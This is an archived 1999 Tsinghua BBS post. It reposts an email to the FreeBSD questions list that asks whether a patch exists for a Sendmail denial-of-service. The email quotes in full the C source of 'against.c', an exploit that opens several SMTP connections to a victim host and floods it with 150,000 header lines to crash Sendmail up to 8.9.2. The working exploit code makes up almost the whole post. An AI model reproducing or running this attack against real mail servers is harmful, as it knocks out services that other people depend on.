📄 00000012.htm
字号:
<HTML><HEAD> <TITLE>BBS水木清华站∶精华区</TITLE></HEAD><BODY><CENTER><H1>BBS水木清华站∶精华区</H1></CENTER>发信人: Numb (麻木), 信区: Linux <BR>标 题: latest sendmail DoS <BR>发信站: BBS 水木清华站 (Wed Jan 20 16:11:26 1999) <BR> <BR>Subject: <BR> latest sendmail DOS <BR> Date: <BR> Tue, 19 Jan 1999 14:52:56 -0500 <BR> From: <BR> Mike Tancsa <<A HREF="mailto:mike@sentex.net>">mike@sentex.net></A> <BR> To: <BR> <A HREF="mailto:questions@FreeBSD.ORG">questions@FreeBSD.ORG</A> <BR> <BR> <BR>Are there any patches available for the Sendmail DOS below ? <BR> <BR>Thanks, <BR> <BR> ---Mike <BR> <BR>/* <BR> against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2) <BR> (c) 1999 by <<A HREF="mailto:marchew@linux.lepszy.od.kobiety.pl>">marchew@linux.lepszy.od.kobiety.pl></A> <BR> <BR> Usage: ./against existing_user_on_victim_host victim_host <BR> Example: ./against nobody lamers.net <BR> <BR>*/ <BR> <BR>#include <stdio.h> <BR>#include <unistd.h> <BR>#include <sys/param.h> <BR>#include <sys/socket.h> <BR>#include <sys/time.h> <BR>#include <netinet/in.h> <BR>#include <netdb.h> <BR>#include <stdarg.h> <BR>#include <errno.h> <BR>#include <signal.h> <BR>#include <getopt.h> <BR>#include <stdlib.h> <BR>#include <string.h> <BR> <BR>#define MAXCONN 5 <BR>#define LINES 150000 <BR> <BR>struct hostent *hp; <BR>struct sockaddr_in s; <BR>int suck,loop,x; <BR> <BR>int main(int argc,char* argv[]) { <BR> <BR> printf("against.c - another Sendmail DoS (up to 8.9.2)\n"); <BR> <BR> if (argc-3) { <BR> printf("Usage: %s victim_user victim_host\n",argv[0]); <BR> exit(0); <BR> } <BR> <BR> hp=gethostbyname(argv[2]); <BR> <BR> if (!hp) { <BR> perror("gethostbyname"); <BR> exit(1); <BR> } <BR> <BR> fprintf(stderr,"Doing mess: "); <BR> <BR> for (;loop<MAXCONN;loop++) if (!(x=fork())) { <BR> FILE* d; <BR> bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length); <BR> s.sin_family=hp->h_addrtype; <BR> s.sin_port=htons(25); <BR> if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket"); <BR> if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect"); <BR> if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); } <BR> <BR> usleep(100000); <BR> <BR> fprintf(d,"helo tweety\n"); <BR> fprintf(d,"mail from: <A HREF="mailto:tweety@polbox.com\n");">tweety@polbox.com\n");</A> <BR> fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]); <BR> fprintf(d,"data\n"); <BR> <BR> usleep(100000); <BR> <BR> for(loop=0;loop<LINES;loop++) { <BR> if (!(loop%100)) fprintf(stderr,"."); <BR> fprintf(d,"To: x\n"); <BR> } <BR> <BR> fprintf(d,"\n\n\nsomedata\n\n\n"); <BR> <BR> fprintf(d,".\n"); <BR> <BR> sleep(1); <BR> <BR> fprintf(d,"quit\n"); <BR> fflush(d); <BR> <BR> sleep(100); <BR> shutdown(suck,2); <BR> close(suck); <BR> exit(0); <BR> } <BR> <BR> waitpid(x,&loop,0); <BR> <BR> fprintf(stderr,"ok\n"); <BR> <BR> return 0; <BR>} <BR> <BR>------------------------------------------------------------------------ <BR>Mike Tancsa, tel 01.519.651.3400 <BR>Network Administrator, <A HREF="mailto:noc@sentex.net">noc@sentex.net</A> <BR>Sentex Communications www.sentex.net <BR>Cambridge, Ontario Canada <BR> <BR>To Unsubscribe: send mail to <A HREF="mailto:majordomo@FreeBSD.org">majordomo@FreeBSD.org</A> <BR>with "unsubscribe freebsd-questions" in the body of the message <BR> <BR> <BR> <BR> <BR>这是我今天收到的mail,我还没来得及试... <BR> <BR>-- <BR>※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 202.114.8.209] <BR><CENTER><H1>BBS水木清华站∶精华区</H1></CENTER></BODY></HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -